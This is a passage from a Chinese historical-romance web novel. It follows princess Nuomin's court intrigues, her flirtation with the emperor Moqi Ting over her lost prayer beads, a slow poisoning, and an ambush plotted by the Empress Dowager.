诺敏恍若未闻,连眼皮都未再抬一下,径直上了马车。
车厢内,乌云娜眨巴着满是趣味的双眼盯着诺敏。
“阿姐~,那位公子是不是对阿姐一见钟情了?毕竟阿姐是我北朔的第一美人。”
诺敏捡起榻边的话本子,就敲了她一记脑壳:“再看这些乱七八糟的话本子,我就让阿娘收了你的零嘴!”
娜仁和娜兰对视一眼,均捂嘴偷笑。
闹了片刻后,诺敏喊来乌云娜:“傀儡咒杀术,是巫族才有的的秘术,不过巫族向来神出鬼没,踪迹难寻,而北朔知道我行踪,且最可能跟巫族有联系的,只有敖登和额尔敦。”
“敖登此人虽有野心,但也有原则。”
“传信给暗二,让他去暗卫营挑个生面孔,插到额尔敦身边,本宫要知道他的具体动向。”
待诺敏的马车走出很远,万俟庭才开口道:“宗叙,她是不是很有趣?”
一身着淡青色常服,眉眼清秀的男子上前道:“陛下,您来这荒郊野岭就是为了看这位北朔公主杀人?”
万俟庭余光瞥见他微皱的眉头,拍了拍他的肩,轻笑一声:“邵宗叙,你怎么比你叔父还老成,朕记得你才弱冠吧。
邵宗叙恭敬答道:“陛下记得不错。不管臣年岁几何,臣作为轩辕的丞相,都应为陛下的安危着想。”
“朕不过是接到了听风阁的密报,有人欲埋伏在这山谷刺杀北朔公主,前来‘支援’罢了,总不能真让她死在靠近轩辕的地界。”
邵宗叙抬眸意味深长的看了他一眼,才开口:“这北朔的大公主当真是不可小觑。”
“臣听闻,契纳已决定退位,若这位大公主承继了北朔大祭司之位,对轩辕来说,不是好事。”
万俟庭垂眸睨了一眼地上的尸体:“此次刺杀,不难猜是巫族的手笔,以她的心性,绝不会就此揭过,朕作壁上观就是。”
话落,他正欲抬脚离开,就觉脚下踩住了什么,挪开才发现是一串佛珠手串。
他俯身拾起,目光扫过佛珠上刻着的“敏”字,眉梢微挑,嘴角微微勾起一抹弧度,随即将手串拢入袖中,转身离去。
尽管万俟庭表现的无波无澜,邵宗叙却还是将他的神情看的清清楚楚,他决定去信慕砚竹,问问他,那两人在苍狼到底发生了什么。
残月如钩,夜风穿过洞窟,声音如鬼泣。
洞内烛光印着石壁上狰狞的图腾,风过后明明灭灭,恍若活物。
一道黑影伏跪在地,身体颤抖不止,声音哆嗦:“主......主子,仇二和仇三......都被北朔大公主......杀了。”
“鬼傩面加上我巫族三十位高手,无一生还?”一道阴沉的嗓音从祭坛尽头,阴影深处传来。
来人身着一身黑袍,头戴围帽,只留一双眼睛睨着地上瑟瑟发抖的人。
他走上主位,缓缓落座,指尖轻轻敲击着石座扶手,“笃、笃、笃......”每一声,都像是敲在人心口。
“是......是属下失察!求主子再给属下一次机会。”
“机会?”
黑袍人一步步走下祭坛石阶,脚步声在寂静中格外清晰,他停在那人面前,垂眸审视,如同在看一件毫无价值的死物。
“你一句失察,就想轻飘飘揭过?”
他抬手放上那人的头顶,掌心微微用力,那人瞬间经脉寸断而亡。
两名黑袍护卫无声无息的上前,拖起那具还温热的尸体,消失在洞口。
黑袍人伸手抚了抚胸前的玉坠,眸色冰冷:“你放心,我一定送他们下去给你赔罪。”
日影透过四方馆的纱窗,在青石砖上铺开细碎金光,氤氲水汽在屏风后弥漫。
诺敏遣退了娜兰娜仁,正欲解开腰带,忽觉手腕轻了些许,她伸手触及,却摸了个空。
丢了?
她走去外间寻了片刻,一无所获,看来是打斗的时候掉的了,可惜了阿娘的一片心意。
暮色四合,诺敏身着一身菘蓝色缀金线云纹的罗裙,墨发用同色发带挽起半数,靠坐在四方馆二楼临窗的隔间榻上。
她手执一卷残破棋谱翻阅着:“苏日娜睡了?”
“是的殿下,四公主说晚膳也不用喊她,她要睡个够。”
诺敏眸色染上笑意,唇角微勾:“零嘴吃多了,不想让本宫知道罢了。”
忽闻楼下传来一阵杂乱的脚步声,垂眸望去,就对上了谢旬舟望来的眼神。
已是初春,他依旧身披着狐毛大氅,唇色因屋内的暖气有了些许血色,二人相视而笑,诺敏做了个请的手势。
不消片刻,谢旬舟就到了隔间里,他掀开围帽,径直落座于榻边小几。
“暗一可将我的话带到了?我在路上可一直想着这顿膳呢。”
诺敏斟了一杯热茶递到他的手边,眸色含笑,声音带着揶揄:“堂堂大昭的武成王,竟只想着吃了,要是被你那侄儿知道,许是能安心的多睡片刻了。”
谢旬舟丝毫不觉得被冒犯,唇角微弯,嗓音柔和:“他若是有能力,我做个逍遥王去北朔蹭吃蹭喝,又有何不
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可。”
诺敏轻笑一声,朝他伸出手:“让我看看脉象如何了?”
他苍白的皮肤下,青色的脉络依稀可见。
诺敏指尖的触感微凉,他从三年前的那场刺杀后,身体就开始呈现沉疴之象,只是这次的脉息竟比上次还浮浅无力,按说经过她三年的调理,不该如此。
她心头微凛,面色微沉:“另一只手给我。”
谢旬舟望见她眉间的忧色,打趣道:“我身子本就一直如此,你不必太过担忧,横竖有你,我不担心。”
她并没答话,待细细诊过他另一只手,语气冷然:“有人给你下了蛊毒,不过好在是慢性的。”
“它会慢慢让你变得虚弱,寻常大夫来诊,只会诊出跟你之前的旧疾无甚两样的脉案。”
谢旬舟眸色怔了一瞬,嗤笑一声:“我这个好侄儿还真是不死心啊。”
“不过......你肯定能治好我。”
诺敏没好气的睨了他一眼,语气转而严肃:“旬舟,有的人是不值得你如此待他的。”
“若你下不去手,我来。”
谢旬舟望着她眉眼间的认真,他喜欢她唤他“旬舟”,尽管他年长她许多。
笑意漫过眼角:“敏敏,谢谢你。”
“我知道该怎么做,你不必担心。就像你说的,若我需要,会向你开口。”
诺敏轻叹了一口气:“这个蛊毒的解药,我这里还缺一位重要的药引,需我亲自往西蛮走一趟。”
她唤娜兰取来一个青玉瓷瓶,递给他:“这里面的药,只能暂时缓解毒性,在我给你送解药之前,不可向其他人透露蛊毒的事。”
“你该庆幸你那侄儿不敢直接将你毒死。”
谢旬舟接过药瓶,眼中满是笑意:“该庆幸的是这辈子能遇见你。”
又抬眸凝视着诺敏的眼睛:“敏敏,这是你第二次救我了。”
诺敏唇边露出一抹狡黠:“你可能天生命好吧,遇到我这个活菩萨。”
今日的皇城,朱墙内外皆挂起了万寿灯。
宣和殿内沉香氤氲,九龙盘柱立在大殿两侧,尽显威严肃穆。
“阿姐,这大殿可真威风,回去我让汗父也照这样建一个。”苏日娜跟在诺敏身后,叽叽喳喳说个不停。
谢旬舟余光瞥见诺敏眉间的无奈,轻笑开口:“我也想有个这么可爱的妹妹。”
诺敏侧首望着他,似是有些难以置信:“旬舟,孩子多了,不一定是好事。”
待所有人都落座,忽闻净鞭三响,丝竹声尽歇,满殿轩辕勋贵齐整跪伏,诺敏和谢旬舟也站起身,微微低头表示恭敬。
年轻帝王头戴十二旒冕,身着明黄龙袍踱步而来,那通身的气度,教殿内众人呼吸都轻了半分。
“阿姐,轩辕的皇帝真俊。”苏日娜偷偷瞟了一眼万俟庭后,在诺敏耳边轻声细语道。
“不可无礼。”
随着一声山呼海啸般的“陛下万寿无疆”,以及一声令诺敏耳熟的嗓音,唤出的“都起来吧”,丝竹声骤起。
诺敏缓缓抬眸,就看见了那张熟悉的面孔,以及他不经意间露出的手腕上的佛珠手串。
9. 敏敏
待万俟庭落座,司礼太监的唱喏声穿透整个大殿。
“大昭王献--东海明珠一对......”
“北朔王献--万寿无疆图一副......”
“......”
大殿宽阔,尽管诺敏被安排在高位,但他们二人之间的距离也不算近,她还是一眼就瞧见了万俟庭腕上的佛珠,正是她丢失的那串。
她不由的怔愣了片刻,堂堂一国帝王,还能如此不着边际。
端坐在龙椅之上的人,似是察觉到了这道凝滞的目光,眼帘微掀,深邃又带着点戏谑的眸光,掠过她微愕的脸。
诺敏见他修长的手状似无意般地抬起,又慢悠悠的拨弄着腕上的珠串,她侧首跟谢旬舟耳语:“你说我要是今天揍了轩辕的皇帝,他敢不敢杀了我。”
谢旬舟余光瞥见她眸中隐隐透着的不悦以及......无语,他们认识。
微微打趣道:“我替你拦着。”
两人之间的熟稔落在万俟庭眼中,他此刻执杯的手几不可察的一顿,谢旬舟给她斟酒时,二人衣袂相交,她耳边的碎发拂在那人的肩,真是颇为碍眼。
“咔擦”一声轻响,他指尖那只白玉盏竟生生裂开一道细纹,酒液沾湿了他的指尖。
他却恍若未闻,只随意的将残杯扔向御案,李明德赶忙上前递上锦帕,他慢条斯理地擦拭着,眸色微冷,淡淡开口:
“大昭的摄政王和北朔的公主,原是旧识?”
谢旬舟闻言,抬眸就望见他眉眼间的不虞,唇角微弯:“陛下当真慧眼如炬,本王与敏敏却是旧交。”
敏敏?
“是吗?这么看来,朕与......公主也算旧交了。”
诺敏听着他这自来熟的话语,眸中掠过一丝不满,嗓音疏离:“陛下,交浅言深了。”
他眼中的不快一闪而过,快的让人以为是错觉,但还是被邵宗叙捕捉到了,他今日就回去写信。
沈婉楹坐在堂下,看着他们之间的一举一动,俯身靠近沈青野,低声道:“父亲,陛下暗恋那位北朔大公主吧?眼神不太对啊。”
沈青野一把将沈婉楹推了回去,轻声呵斥:“你给为父安分点。”外人知道又如何,他自己恐怕还不知呢。
忽而,殿外传来一阵嘈杂的声音。
一身着紫色蟠龙亲王礼服、须发皆白的老者,拄着拐杖,踉跄闯入,直指高座。
“你不过一个勾引君王的贱妇所出的孽种!还敢圈禁太后?凭你也配在此大宴宾客,受百官朝贺?我万俟皇室的列祖列宗在天之灵,岂能容你!”
霎时间,殿内死寂,方才还丝竹声不断的大殿,此刻落针可闻,文武百官皆已俯伏在地。
无数道目光偷偷投向高居主位的万俟庭,他眸光扫去,有惊惧的、探究的,就在他以为还是同过去一般时,多了一双平静无波的眼睛,她竟还端起茶盏啜了一口。
邵宗叙立马从地上起身,扶住那踉跄的老者,嗓音急切:“老王爷,你怎么出来了?走走走,宗叙陪您吃茶去。”
那老者一把推开邵宗叙,大声道:“你放开我,你们都是些乱臣贼子!”
他又望向诺敏和谢旬舟的方向,“你们是北朔和大昭的使者吧,就这肮脏的血脉,也配你们来献礼。”
诺敏轻轻放下茶盏,缓缓抬眸,睨向那位老者,她一向是尊老爱幼的,唇边勾起两个小梨涡:“老王爷今日去过粪坑了?”
其他人还在怔愣的时候,一声“噗嗤”声传入众人耳朵,沈婉楹赶忙伸手捂住嘴,这大公主的嘴太毒了。
那老王爷抬手指向诺敏,眼神愤怒:“你--!”
万俟庭面对这种羞辱,已经没有丝毫感觉了,但听到她的话时,眸色还是闪了闪,手指不自觉的握紧了几分。
他抬起眼,面色平静,淡声开口:“恭亲王,你醉了。”
“醉?本王清醒的很!你母亲当年......”
万俟庭打断他,面色依旧平平,对身旁的侍卫淡声吩咐:“送老王爷去先帝陵前醒醒酒。”
话落,那侍卫已经到了恭亲王身侧,扣住手臂,硬生生拖了出去。
宴会散尽,诺敏正欲登上马车,就被一尖细的嗓音喊住了:“请公主留步。”
诺敏回过身,来人是万俟庭的总管太监:“公公有何事?”
李明德瞥了一眼诺敏身后的苏日娜,微微躬身:“陛下有请。只请了公主一人。”
勤政殿内只点了几盏昏灯,龙涎香的气息浓郁。
万俟庭已经换下了那身繁复的帝王服饰,只着一身玄色常服,临窗而立,指尖无意识的拨弄着腕间的那串佛珠。
诺敏进来的时候,看到的就是这样一副画面,孤寂甚至有点......苍凉。
“陛下唤本宫前来,可是想还本宫佛珠了?”
他轻笑一声,并未回头:“今日,公主为何帮朕?”
诺敏望着他身形笔直的背影:“能转过来么?本宫不喜欢别人背对着跟本宫说话。”
侍立在旁的李明德恨不得捂住这公主的嘴,不要命了?陛下是什么很好说话的人么?
万俟庭转过身,一步步向她走近,在她面前驻足,垂眸盯着她,眼尾带着戏谑,唇角微勾:“这样可够了?”
距离陡然拉近,近到她能闻到他身上淡淡的酒香。
诺敏眸光轻颤了一瞬,随即伸出一指抵住他的胸膛:“倒也不必如此靠近。”
“本宫不过遵循为老者不遵,为幼者不敬罢了。”
万俟庭的视线从她的眼睫缓缓下移,掠过她挺秀的鼻梁,微红的唇,最后停在那只抵在她胸膛的手指,那目光如有实质,带着灼人的温度。
诺敏心口微微乱了一下,忽然生出一种危险的直觉,往后退了一步,拉开了与他的距离。
她调整了下呼吸,才道:“那陛下可以将佛珠还给本宫了吗?”
万俟庭眉眼间带了一点笑意,淡淡收回视线,行至案桌后,缓缓落座:“公主若想要回佛珠,总得拿东西来换才是。”
“明日申时,朕在七宝楼等公主的答复。”
这话怎么有点耳熟。
诺敏刚下马车就看到了站在四方馆门前正四处张望的娜兰。
“怎么了?”她望着娜兰担忧的神色,淡声询问。
“殿下,您总
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算回来了,四公主回四方馆后,就嚷着要出去逛逛,您不在,奴婢不好拦着,就让娜仁跟着她,再带了几个侍卫,可到现在都还没回来。”
话音刚落,远处就跑来几个身影,一侍卫背上还背着一个满脸血痕的人。
诺敏快步迎过去,见苏日娜无恙方才松了口气,目光落在那陌生男子身上:“苏日娜,这是......”
苏日娜一把握住诺敏的手,急切道:“阿姐,快帮我看看他,他为了救我,挨了一棍。”
“先进去吧。”
待将人背回了客房,诺敏诊过脉确认无碍后,苏日娜才将发生的事道来。
原来今日因轩辕皇帝大寿,普天同庆,上京大半的百姓都上街游玩了。
苏日娜与娜仁以及几个侍卫,被人群冲散了,她正欲往回走时,就被一股蛮力扯住了臂膀。
“小娘子留步,借些银钱花花。”五个满脸横肉的汉子挡住了她的去路,手中棍棒凛凛。
苏日娜随身的刀剑因今日赴宴,也未曾携带,尽管用发簪伤了两人,可终究她也只是个十三岁的孩子,寡不敌众,败下阵来。
“钱财尽可拿去,可若伤了我性命,你们怕是也难逃一死。”本是为了恐吓他们的话,却像是打开了恶魔的开关。
为首的劫匪狞笑上前,正抬手欲挥棍棒,忽然一枚石子疾射而来,正中劫匪的手腕。
“谁?!”劫匪吃痛大喝。
一人自树影后转出,青衫书生的打扮,眉目清隽,淡声开口:“天子脚下,欺凌弱女,你们眼中可还有王法?”
匪徒恼羞成怒,挥棍便打,那人身形瘦弱,却依旧迎棍而上,余光瞥见一匪徒的棍棒就要打向苏日娜,赶忙扑了上去,把她挡在身下。
众匪徒见他出血昏迷,吓得四处逃窜。
“娜仁找到我的时候,就让她把人带回来了。”
苏日娜偷偷觑了一眼诺敏微怒的神色,伸手拽了拽她的衣角,撒娇道:“阿姐~,我再也不敢了,你别生我的气了。”
诺敏扯回袍角,睨了一眼苏日娜:“来之前,可还记得答应我什么?”
她嗫嚅着:“听话......”
“若有下次,你就别想出门了。”随即转身出去。
待回到自己的房间,诺敏唤来乌云娜:“去查!本宫从不相信巧合,那人的过往,本宫要知道的一字不落。”
她踱步到窗边,望着空中的圆月,眼底划过一抹凉意,若真是巧合也就罢了,若真有人将手伸向苏日娜,那就剁了他的爪子。
翌日,诺敏刚用完早膳,苏日娜就急匆匆地奔来:“阿姐,他醒了,只是......”
待诺敏进入客房,就看见那男子身着一身素衣,胸前挂着一枚玉坠,披头散发的蜷缩在床角,一脸警惕的望着她们。
诺敏踱步至榻边坐下,那男子的目光就紧紧随着她的动作移动:“你们是何人?”
苏日娜上前两步,轻声开口:“我们是北朔人,你昨日救了我,你忘了?你叫什么?我们送你回家。”
“家......我叫什么......”,他蹙眉沉思,额角渗出细汗,声音带着困惑。
10. 三百两可够
“你忘了?”苏日娜回首望向诺敏喊了一声:“阿姐!”
诺敏上前,不顾那人的躲闪,强硬的捏住他的手腕,探了片刻的脉,声音平淡:“脑中有淤血,导致记忆缺失。”
她瞥了一眼苏日娜担心的神情,从锦囊中取出一个药瓶放在床头,温声道:“每日一粒。好好休养,淤血会慢慢消散,许是月余,最迟不会超过三个月就会恢复。”
苏日娜看了一眼那已经稍显放松的男子,眸底划过一丝愧疚:“抱歉,都是为了救我,你才变成这样。”
“不过你放心,我阿姐医术高超,她说能恢复就一定能。”
苏日娜将药塞进那人手里:“我叫苏日娜,我阿姐叫诺敏,你放心在这里好好休息,有事你就吩咐下人。”
金乌高悬,细碎的金光洒在沉木棋盘上。
谢旬舟捻起一枚白玉棋子,沉吟片刻后才落下,诺敏执黑子的手瞬间斩断了白棋去路。
“敏敏这手以柔克刚,是越发娴熟了。”
她微微抬眸,正对上谢旬舟似笑非笑的眼,她唇边勾起一抹笑意:“王爷的攻势也凌厉非常啊。”
谢旬舟笑着摇了摇头,将白子扔回棋篓:“不下了不下了,从未下的过你。”
他抚了抚袖,状似无意的开口:“你跟万俟庭认识?昨日看他对你似是很......不同。”
诺敏略带疑惑的望向他:“不同?不过偶然间见过一次罢了,只能算得上......认识。”
谢旬舟也没过多追问,既然她没感觉,那他也没必要点出来,有的东西,男人看男人才知道。
“昨日救的那人可查出结果了?可需......”
诺敏抬手打断他的话,笑意漫过眼角:“旬舟,我在你心里这般无用?你只要记得按时用药,这点事你就别操心了。”
谢旬舟轻咳了一声:“也对。我今日就得回大昭了,你欠我的那顿,终究是要还给我的。”
诺敏轻笑一声,眉目间尽是明艳和灵动:“知道了,等我去给你送药。”
他又不放心道:“此去西蛮,路上小心。当真不能让乌云娜他们自己去?”
“不说灵华草有多难寻,就算给他们寻到了,他们也没办法完整保存。”
诺敏瞥着他眉眼间的担忧,嗓音柔和:“放心吧,我向来不做没把握的事。”
日影西斜,将雕花棂格拉成长长的斜影,殿内寂寂,只闻铜漏的滴嗒声。
御案后,万俟庭指尖捻着一封刚刚从西蛮传来的密信。
他目光扫过信笺上那句:“诺敏与江致关系紧密”和“常嬷嬷出现在西蛮”,原本舒展的眉目渐渐紧锁。
“李明德,宣邵宗叙。”
片刻后,殿外就传来沉稳又略显急切的脚步声。
邵宗叙身着一品朝服,提着袍角,额间带着细汗,匆匆而来,还不待他躬身行礼,万俟庭已经开口吩咐。
“常嬷嬷出现在西蛮,朕要亲自去一趟。这期间,朝政就交给你了。”
邵宗叙惊愕抬首,喃喃道:“陛......陛下......”
万俟庭抬眸直视他的眼睛,嗓音沉稳:“朕知道你要说什么,但是,这件事朕一定要弄明白的。”
“既然陛下决定了,臣就不多言了,只是......只是臣希望陛下知道,不管真相如何,臣永远站在陛下身后。”
万俟庭眼中划过一抹笑意,平静开口:“真相如何,朕早就不在意了,只是想求个结果罢了。”
他脑中忽然浮现起昨日发生的事:“恭亲王早就不过问宗室之事,却还是能知道太后被圈禁,这浑水里面有多少条鱼,朕希望你能查清楚。”
他思忖了片刻,眼中掠过一道寒芒,冷声开口:“朕此次出行,日子不会短,寿康宫若是有异动,不必上禀,直接押入暗牢。”
那三年的养育之恩,他早就还清了。
七宝楼坐落在上京最繁华的路段,也是达官贵人宴客的好去处,朱漆雕栏,琉璃彩绘。
诺敏到七宝楼时,已是寅时三刻,台上正咿咿呀呀唱着缠绵的《牡丹亭》,楼内除了带刀的侍卫、小厮和戏子,再无他人。
她身着一身绯色衣裙,纱织的腰带随风飘扬,衬得腰肢盈盈一握,发辫上的铃铛随着她上楼的步伐,轻铃作响。
她抬眸望去,正对上万俟庭慵懒的眉眼。
他正对着戏台,端坐在二楼,正端杯小酌。
一身玄色暗纹常服,墨色玉冠束发,除了指尖的扳指和腕上的佛珠串,通身并无其他配饰,却依旧清贵逼人。
“这般清静,倒是辜负了这戏文里的热闹。”诺敏踱步至他侧面落座。
“那朕重为公主点一曲安静的。”
随即吩咐道:“李明德,让他们来一曲《黄泉》。”
李明德偷偷窥了一眼万俟庭的神色,额角渗出细密的冷汗,躬身下去。
锣鼓一响,戏便开了场。
诺敏微微偏过头,余光注意到周围人的呼吸都轻了三分。
她视线回到戏台上,水袖翻飞间,故事上演。
曲调幽怨,唱腔凄厉,半晌后一句:“道甚么万寿无疆,不过一座孤冢伴斜阳。”落下帷幕。
满堂皆寂,周遭的人早就跪伏在地,大气不敢喘,只余诺敏斟酒的细微水流声。
“这出戏如何?帝王强娶了臣妻,臣妻生下孽种后自绝,而那孽种被接入皇宫,血脉遭疑,帝王不闻不问,孽种杀了帝王上位。”
万俟庭眸中一片黑色暗涌,唇边却还带着笑意,直直盯着诺敏的眼睛:“这出折子戏可是朕亲自操刀。”
他不知道为什么要让她看这出戏,或许是想知道她的眼中是否也会出现惧怕、鄙夷,但他想,也就那么做了。
诺敏望着他眉眼间的疯狂,端起酒饮了一口,唇角微勾,语气平静:“若有了皇权就可以牺牲无辜,那它本身就是一种邪恶。”
“推翻邪恶,让这种皇权下黄泉,又有何不可。”
万俟庭缓缓收起笑容,他眸间微颤,听多了“你就是个孽种、你这个大逆不道的逆子、凭你也配......”。
忽然有人说“有何不可”,哪怕是邵宗叙,也只会“殿下三思”。
他喉间上下滚动,嗓音略微沙哑:“公主......还真是......”与众不同。
诺敏将掌心摊在桌案上,“陛下,折子戏也看完了,佛珠可以还给本宫了么?”
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他下颌线微微收紧:“这佛珠这么重要?何人送的?”
诺敏没甚可隐瞒的:“哈敦。”
他眉间微松,眼尾微挑,语气带了几分戏谑:“公主准备拿什么来跟朕交换。”
诺敏从腰间解开一个荷包递给他:“三百两可够?”
他面上浮现一抹错愕,随即从喉咙深处溢出一声低笑:“公主就欠朕一个要求吧,等朕想到了,再向公主讨要。”
他忽地凑近,衣袂间清冽的雪松味扑面而来,修长的手指握过诺敏的手腕,力道温柔却不容挣脱。
“别动。”他嗓音低醇,冰凉的指尖触上她温热的肌肤,激起细密的颤栗。
那串刻了“敏”字的佛珠,从他的腕间穿出,轻轻戴上她的腕骨,还残留着他的体温,诺敏不自在缩了缩手指。
他却还不松开,拇指似有若无的摩挲着那佛珠上的“敏”字。
他又靠近了些,气息拂过诺敏的耳畔,似是情人之间的呢喃:“敏敏,别忘了还欠我一个要求。”
一丝慌乱从诺敏眼底窜起,她倏地收回手腕,腕间的佛珠也变得滚烫异常。
“陛下若无事,本宫就先走了。”话落没等他答,起身就走。
万俟庭望着那个略带慌乱的背影,扶额低笑出声。
诺敏上车后,就将车帘掀开了,吹进来的寒风帮她醒了醒神,她脑中翻涌了半晌,得出了一个结论:万俟庭不是色胚,就是有病。
哪个寻常人会对只见过两次的女子,动手动脚。
夜色如墨,郊外破屋蛛网垂垂,朽木门被风吹的吱呀作响。
五个大汉围坐在半明半灭的柴火堆旁。
“娘的!那小娘子的动作忒快,瞧把老子扎的。”一壮汉将肩头的簪子用力一拔,带出一点血,“不过这簪子应该能值几个钱。”
“闭嘴!也不知道主子怎么样了。”为首的壮汉烦躁的挠了挠头。
“大哥,主子只让我们打晕他,可你下手也忒重,我瞧都出血了。”
为首的壮汉其实也是一脸懵,他这会儿要是说一句,主子自己往这儿撞的,估计都没人信。
门外风声骤起,“嘎吱”一声,破门被一股狠力撞开,木屑灰尘纷飞间,十余柄长剑齐齐出鞘,将那五人围拢在中间。
乌云娜一声令下,隐枭卫已将人全都制服在地,她走上前,用剑鞘托起为首劫匪的脸,淡声发问:“你们跟青衫书生是何关系?”
那劫匪心一提,呼吸也跟着乱了一拍,强行压下心中的不安,硬声答道:“那书生?哼,要不是他从中作梗,我们今日怎会一无所获!”
“那书生死了?那正好让我们出了口气!”
乌云娜觑着他神情,并没回答他的疑问,她眸光一转:“那书生已招认与你们是一伙的,你们却还在这里为了保全他的命,费尽周折,何必?”
“我不知道你在说什么。”
“是吗?那就都杀了吧,正好跟那书生做个伴。”
话落,隐枭卫的长剑已经抵上那些劫匪的颈肩,为首的那人开口:“要杀就杀,我们十八年后还是一条好汉!”
乌云娜睨了他们片刻后,才抬手挥退:“打断他们的腿。”
11. 天命依旧在我
华灯初上,四方馆内。
“殿下,属下打听了一下那书生的住处,房东说他是进京赶考的,并不知道是哪里人。”
“属下假意说那书生招了,那五个大汉也还是咬死了不认,属下就只打断了他们的腿,以示惩戒。”
诺敏望着案上跳动的烛火,清冷的嗓音在房间里荡开:“也是本宫着相了,若真是来者不善,肯定是做好了准备,怎么可能在威逼下就承认了。”
乌云娜眉间划过一丝担忧:“那殿下,我们接下来该如何?可要直接将那书生抓起来?”
“不急,若那书生真的有问题,总会露出破绽,等着就是,本宫也想看看这背后的人还想做什么,只是苏日娜那里......”
她眸底掠过一丝寒意,嗓音听不出喜怒,吩咐道:“将暗二调过去,密切监视,不必告诉苏日娜。”
“是。”
乌云娜又从怀里掏出一封密信递给诺敏:“殿下,这是刚刚收到的布日固德的来信。”
诺敏眸光扫过信笺中的内容,眼底的笑意一闪而过:“额尔敦果然耐不住了。”
她将信笺靠近烛火点燃,眸底印着的火光烈焰,轻声开口:“让布日固德去见。”
“将暗一调到布日固德身边,别让他死了。”
四方馆一客房内,青衫书生正坐在案前阅览着,从贴身里衣的囊袋里取出的信笺,上面只有几句话:先潜伏在北朔公主身边,取得信任,静待时机到来。
时机?什么时机?书生一脸茫然。
房门突然被人从外推开,他赶忙将脚边的灰烬踏灭。
苏日娜背着个小小的行囊,兴冲冲的跑到那书生身边:“青衫,收拾好了么?我们要走了。”
青衫是苏日娜昨日给他现取的名,真是够随意的。
“公主,我没什么可收拾的。”
苏日娜眉间掠过一丝不满:“不是让你别喊我公主了么?你救了我,我们就是朋友,你唤我苏日娜就好了。”
青衫淡声道:“好。”
苏日娜拉起他就走:“既然没东西收拾,那咱们快走吧,阿姐等急了会骂我的。”
四方馆外,北朔的凤凰旗帜在风中猎猎作响,三辆马车已全部套好。
诺敏望着从里面着急忙慌跑来的苏日娜,眸底闪过一丝笑意,嗓音柔和:“跑什么?”
又瞥到跟在她身后的青衫,略微收敛了唇角:“苏日娜不放心留你一人在此,遂带你同行,若你记忆恢复,可自行离去。”
“阿姐!”苏日娜不赞同道。
诺敏伸手给她顺了顺耳边的墨发,轻声道:“小四,这位青衫先生也有自己的人生,万一他的家人在等他呢。”
青衫上前躬身行礼:“公主所言有理,待某恢复记忆,一定不会再给公主添麻烦。”
诺敏微微点了点头,转身上车。
夜色如墨,万籁俱寂。
寿康宫内,沈青梧指尖轻轻划过茶盏,姿态雍容华贵,眼神却冷冽如冰。
堂下跪着一个一身夜行衣的男子,气息内敛,宛如蛰伏的野兽。
“消息准确?”沈青梧的声音不高,却带着威压。
“是的。今日巳时就已经到达了延州府,看方向是往西蛮去的。”
沈青梧轻轻放下茶盏,发出一声清脆的叩击声,在寂静的大殿内格外刺耳,她抬眸睨向跪在地上的人:“上次跟丢了,这次若是还搞砸......”
“哀家从不养废物,倘若这次还失败,你就回去告诉你家主子,哀家不会再给他一两银!”
“属下一定将太后娘娘的话带到,只是万俟庭身边有一贴身高手,此人武功深不可测,恐不易得手。”
沈青梧眼中寒光一闪:“此人再强,双拳也难敌四手,何况明枪易躲,暗箭难防,该如何做,还需要哀家教你?”
她抚了抚指尖的蔻丹,唇角缓缓勾起一抹笑意,只是那笑意并未达眼底:“西蛮路途遥远,盗匪出没,若是遇上什么‘意外’,也是无可奈何之事。”
“属下明白,定不会辜负太后所托!”
那人如鬼魅般消失,殿内重归寂静。
“本想等到他跟婉楹生下一儿半女,哀家再杀了他,谁曾想哀家反被鹰啄了眼。”
寿康宫大宫女映月上前给她添了杯茶:“娘娘何必气坏了自己。”
“气?哀家只恨当初为何没早早了结了他!以为他多少会顾及宗室的老王爷,却忘了他本就是个冷血的毒蛇。”
她牵过映月的手:“苏嬷嬷走了,如今哀家身边就只有你了,你莫辜负哀家的信任。”
映月眼中闪过一抹慌乱,随即压了下去,连忙跪伏在地:“太后娘娘,奴婢绝对不会背叛您。”
沈青梧伸手扶起她:“慌什么,哀家不过说说罢了,你跟在哀家身边这么多年,哀家还能怀疑你么。”
待殿门关上,映月才抬手抹了抹额头的细汗,她脑中翻涌着昨日发生的那一幕。
整个寿康宫戒严,只有她一人可在领膳食的时候出来,于是昨日便被邵宗叙拦住了去路。
他从怀里掏出了一支白玉发簪,是她第一次发月例时,买给她阿娘的。
她顿时瘫软在地,求他开恩,放过她阿娘,邵宗叙却俯身将她扶起:“陛下已经知道了是你给恭亲王传信,若还想你母亲平安,就按照我说的做。”
思绪回笼,映月走到一偏僻的角落,翻开地上的一块青砖,将刚写的信笺放了进去,再盖好离去。
延州府一客栈内,烛火摇曳。
万俟庭正准备歇下,木门却传来了三声轻微的叩响。
“进。”
庆风一闪而入,面色微微凝重,将已经打开的小纸条递给他:“陛下,太后与人联合,欲在路上设下埋伏。”
万俟庭目光快速掠过纸条上的寥寥数语,脸上平静无波,只在眉眼间浮起一丝意料之中的嘲弄。
庆风单膝跪地,语气坚定道:“陛下先回宫,常嬷嬷属下一定帮陛下找到。”
万俟庭眸色幽深如墨,唇边却勾起一抹浅笑:“宫墙内的步步杀机,朕都过来了。况且此次西蛮之行,朕是必定要亲往的,既然她已出手,那朕就陪她玩玩。”
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>他翻开随身的舆图,手指一一掠过西蛮需经过的路段,略一沉吟,已有了决断:“他们要是动手,只会在此处的断崖,也只有此处方便藏身。”
“朕之前看过《轩辕志》,崖下有一处密林,只要过了密林,就可直通西蛮。”
庆风瞬间明白了他的用意,急道:“陛下,这也太危险了,崖下密林什么情况无人得知,怎可如此冒险!”
“险中求胜的事,朕干的还少么?既然从前老天没站在她那边,那这次朕赌,天命依旧在我。”
他绕过书案,伫立在窗前,望着沉沉的夜幕,下意识的摩挲腕间,却摸了个空,喃喃道:“竟成了习惯......”
又淡声开口:“庆云先暗中跟着。待朕落入崖下,你明面上派人寻找,多带他们绕几个圈。”
“属下遵旨!”
帘幕低垂,车厢内焚着雪松香,一缕袅袅青烟从香炉里盘绕而出。
诺敏斜倚在软塌上,指尖掠过一页泛黄书卷,车厢外传来一阵又一阵的鸟鸣,她缓缓抬眸,伸手叩了一下车架。
“乌云娜。”
待乌云娜打马来到车架旁,她才开口,嗓音清冷:“若遇袭,保护好苏日娜,让暗二时刻盯着青衫。”
思忖了片刻又道:“若与本宫分散了,将苏日娜送去江致那里等本宫。”
乌云娜垂首领命。
崖边风声猎猎,万俟庭反手将长剑从一名刺客的胸膛拔出,温热的血珠溅上他的眉骨。
身后是断崖,眼前是寒光冷冽的刀锋,虎口崩裂的血顺着剑柄往下淌,染血的衣袂被崖边的狂风卷起。
诺敏掀开车帘,看到的就是这一幕,真是,狼狈啊。
